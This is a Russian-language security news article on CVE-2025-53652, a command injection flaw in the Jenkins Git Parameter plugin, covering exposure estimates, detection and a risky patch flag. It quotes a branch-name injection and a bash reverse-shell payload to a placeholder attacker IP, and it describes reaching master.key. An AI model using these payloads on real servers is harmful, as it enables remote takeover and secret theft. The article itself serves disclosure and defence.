Критическая уязвимость в Jenkins: 1 500 серверов под угрозой удаленного выполнения кода

vulnerability

Опасная уязвимость в популярном плагине для системы непрерывной интеграции Jenkins подвергает риску тысячи серверов по всему миру. Уязвимость CVE-2025-53652, изначально оцененная как средняя по опасности, позволяет злоумышленникам выполнять произвольные команды на атакуемых системах, что подтвердилось при более глубоком анализе. По данным исследователей, около 1 500 интернет-доступных экземпляров Jenkins могут быть полностью скомпрометированы через эту брешь.

Серьезная ошибка в плагине параметров Jenkins Git

Уязвимость, зарегистрированная в системе отслеживания Jenkins как SECURITY-3419, затрагивает плагин Git Parameter, используемый для управления параметризованными сборками. Плагин, установленный на десятках тысяч серверов, некорректно обрабатывает пользовательский ввод, что позволяет внедрять произвольные команды в Git-команды типа "rev-parse" и "fetch". Первоначальное описание проблемы указывало лишь на возможность инъекции произвольных значений в параметры Git, что существенно недооценивало реальную угрозу.

Технический анализ показал, что отсутствие санитизации входных данных позволяет злоумышленникам использовать shell-метасимволы. Например, указание имени ветки как "$(sleep 80)" приводит к выполнению команды "sleep" под пользователем Jenkins, что подтверждается наблюдением за дочерними процессами. На практике это открывает путь к полному удаленному выполнению кода. Исследователи разработали рабочий эксплойт на базе "curl", который отправляет специально сформированный JSON-запрос на эндпоинт "/job/[buildName]/build". Полезная нагрузка вида ""$(bash -c 'bash &> /dev/tcp/[attacker_ip]/[port] <&1')"" устанавливает шел, предоставляя контроль над сервером.

Успешная эксплуатация приводит к получению ответа "201 Created", а шел, перехватываемый через "netcat", дает доступ к конфиденциальным данным, включая файл "master.key" в директории "~/secrets". Для атаки требуется знание имени сборки, действительной куки сессии и токена Jenkins-Crumb для защиты от CSRF. Критически важно, что эти артефакты могут быть получены через простые запросы даже на экземплярах без аутентификации.

Сканирование сети с помощью FOFA выявило более 100 000 Jenkins-серверов, доступных из интернета. Из них около 15 000 работают без какой-либо аутентификации, а 1 000 разрешают открытую регистрацию. Хотя установленная база плагина точно не определена, примерно 1 500 незащищенных серверов признаны особо уязвимыми к немедленной эксплуатации. Даже на системах с включенной аутентификацией угроза остается высокой из-за легкости получения необходимых для атаки данных.

Обнаружение попыток эксплуатации возможно через мониторинг сети. Правило для Suricata от VulnCheck отслеживает POST-запросы к путям вида "/job/…/build", содержащие в теле подозрительные шаблоны, такие как закодированные shell-метасимволы в значениях параметров. После эксплуатации в логах заданий ("~/jobs/[buildName]/builds/#/log") остаются следы инъекций, например, команда "git rev-parse "$(sleep 80)"".

установка sleep 80

Хотя Jenkins помечает устаревшие плагины для обновления, исправление CVE-2025-53652 содержит неочевидный риск. Патч вводит настраиваемый флаг "-Dnet.uaznia.lukanus.hudson.plugins.gitparameter.GitParameterDefinition.allowAnyParameterValue=true", который при установке в "true" отключает валидацию, оставляя системы уязвимыми даже после обновления. Это подчеркивает необходимость тщательной проверки конфигурации после установки исправлений.

Ссылки

Комментарии: 0